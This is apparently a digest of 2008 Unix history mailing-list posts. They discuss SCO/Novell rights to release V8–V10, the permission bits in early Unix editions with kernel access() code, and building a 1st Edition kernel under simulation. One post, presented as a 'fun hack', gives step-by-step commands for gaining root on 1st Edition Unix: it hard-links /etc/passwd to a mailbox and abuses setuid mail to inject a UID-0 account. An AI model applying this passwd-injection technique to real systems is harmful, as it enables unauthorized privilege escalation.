> Date: Thu, 22 May 2008 18:10:33 +0200
> From: "Jose R. Valverde" <jrvalverde(a)acm.org>
> Subject: Re: [TUHS] V8 - V10
>
> Solaris has been open sourced and is heavily System V based. Novell
> argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
> possible is probably void.
>
> [...]
> There remains the issue of the flow of SystemV licenses money to Novell
> after and if it is open sourced... I don't know how much that is, nor how much
> it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
> is probably faulty.
I concur with your opinion.
If Novell could not get paid from The SCO Group of the percentage (about
90%) they are entitled to of the SVRX License Payment SUN made to The SCO
Group, and of the SVRX License Payment Microsoft made to The SCO Group
(because, you know, The SCO Group has filled for bankruptcy), then they are
probably going to action on the basis of said Licenses being void, or at
least in being void the part of such Licenses that allows to Sub-license
the material changing the terms of the License, or changing the License
altogether. According to this hypothesis on the future, in case The SCO
Group cannot find the money to pay Novell, Novell will probably try to
renegotiate such Licenses directly with SUN and Microsoft. Microsoft
will probably just return the material instead of paying for it (as they
don't need it), but SUN is in a totally different position.
SUN has now OpenSolaris, which was made possible by that License they got
from The SCO Group. So SUN will renegotiate and pay Novell to legalize
the SVRX License they got from The SCO Group which allowed them to
"open-source" Solaris.
Only after Novell gets that payment(s), either from The SCO Group or
SUN, will they consider "open-sourcing" the historical SVRX and
classical UNIX code. Otherwise, they could hardly monetize on it, as
they currently have the opportunity to do.
Regards,
--
Pepe
pepe(a)naleco.com
> From: Aharon Robbins <arnold(a)skeeve.com>
>
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?
It seems clear, now, that the copyright on that is Novell's, and that
The SCO Group *never* had the copyright for that transferred to them by
Novell, and that therefore the "open-sourcing" of that material done by
Caldera is void because Caldera was lacking just title to do such
re-licensing.
Therefore, you can legally release it to TUHS, provided you have a license or
permission from Novell to do so.
You could always release it anyway, and hope for the best, but then you
are on your own and betting for your luck. Anything could happen, but it
is unknown.
--
Pepe
pepe(a)naleco.com
Yow. I didn't expect such a flurry of legalese when I asked the question.
> Date: Wed, 21 May 2008 17:54:41 -0700
> From: lm(a)bitmover.com (Larry McVoy)
> Subject: Re: [TUHS] V8 - V10?
> To: Pepe <pepe(a)naleco.com>
> Cc: tuhs(a)minnie.tuhs.org
>
> > Therefore, only Novell can "open-source" V8 - V10, which is the point
> > being discussed here, and Caldera had no title to do it.
I hadn't kept up, so this was an interesting surprise. At least we know
more or less what's going on now.
> Has anyone asked Novell?
Indeed. Do we even know who to ask there?
Thanks,
Arnold
I was just browsing through the 1974 UNIX CACM paper, the one that first
publicly described the design and functionality of UNIX. I came across
some sentences which describe the file permissions, and they sounded quite odd:
When a file is created, it is marked with the user ID of its owner.
Also given for new files is a set of seven protection bits.
Six of these specify independently read, write, and execute permission
for the owner of the file and for all other users. [The seventh bit
is the set-user-id bit. ]
This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
and no "rwx" bits for group. I've never seen a UNIX system with 6 file
permission bits, so I thought I would poke around to see what I could find. It
turns out that none of the source code or document artifacts that we have
describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user,
"rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission
bits.
1st Edition UNIX (Nov 1971) has these permission bits for an i-node:
#define I_SETUID 0000040 set-user-id
#define I_EXEC 0000020 a single execute bit
#define I_UREAD 0000010
#define I_UWRITE 0000004 read/write for user
#define I_OREAD 0000002
#define I_OWRITE 0000001 read/write for other
3rd Edition UNIX (Feb 1973) has these permission bits for an i-node:
000040 set user ID on execution
000020 executable
000010 read, owner
000004 write, owner
000002 read, non-owner
000001 write, non-owner i.e same as for 1st Edition
By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX),
the system has the concept of groups and the setgid() & getgid() system calls.
The inode.h header file defines these permission bits:
#define ISUID 04000
#define ISGID 02000
#define IREAD 0400
#define IWRITE 0200
#define IEXEC 0100
This is a bit unclear, but the code for the access() kernel function implies
that there are read/write/execute bits for user, group and other. Here is the
code for access() with my comments:
/* Determine if the current user can access a file with the given mode */
access(ip, mode)
int *ip;
{
register *rip;
if(u.u_uid == 0) /* root can access all files */
return(0);
rip = ip;
if(u.u_uid != rip->i_uid) { /* not owner, shift mode 3 bits, lose */
mode =>> 3; /* user bits, replace with group bits */
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
}
if((rip->i_mode&mode) != 0) /* If mode mask and file's mode leave */
return(0); /* some bits enabled, allow access */
u.u_error = EACCES;
return(1);
}
And when we get to the 4th Edition (Nov 1973), the filesystem manual gives
these permissions:
000400 read (owner)
000200 write (owner)
000100 execute (owner)
000070 read, write, execute (group)
000007 read, write, execute (others)
So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and
onwards had "rwxrwxrwx" permission bits.
The only possibility that I can see is, as 3rd Edition was being rewritten
from assembly into C, the filesystem went through a stage where there
"rwx" execute bits for user, and "rxw" execute bits for other as the CACM
paper described, but groups had not been introduced yet. Then, the idea of
groups was added: the i-node structure had the i_gid field added, and the
access() function was extended with the lines:
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
I'll have to ask Dennis is this sounds plausible.
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
All work and no play...
Here's a fun hack for first edition unix. From MAIL (I) :
When followed by the names of a letter and one or more people, the
letter is appended to each person's mailbox. Each letter is
preceded by the sender's name and a postmark.
A person is either the nameof an entry in the directory /usr, in
which case the mail is sent to /usr/person/mailbox, or the path
of a directory, in which case mailbox in that directory is used.
Mail is setuid root:
# ls -l /bin/mail
80 surwr- 1 root 3940 Jan 1 00:00:00 mail
login as a non-root user (ie "bin"), create a file "letter" with the
contents "hack::0:/:". Run:
@ ln /etc/passwd /tmp/mailbox
@ mail letter /tmp
log out and log back in as "hack". You are now root. Cat /etc/passwd
and notice:
From bin Jan 1 00:49:22
hack::0:/:
clean up the file a little and enjoy your new elevated status.
Tim Newsham
http://www.thenewsh.com/~newsham/
On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote:
> Warren!
> Thanks for a couple of interesting posts!!!
> Makes me want to read some source... you seems to have it at hand.
> Where is it?
Most of it is here:
http://www.tuhs.org/Archive/PDP-11/Distributions/research/
which includes source for 5th, 6th and 7th Editions, and a kernel
written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition
source, but the 3rd and 4th Edition manuals are in there.
The source to the 1st Edition UNIX kernel has recently been found in
a paper document, available at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/Prelim….
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
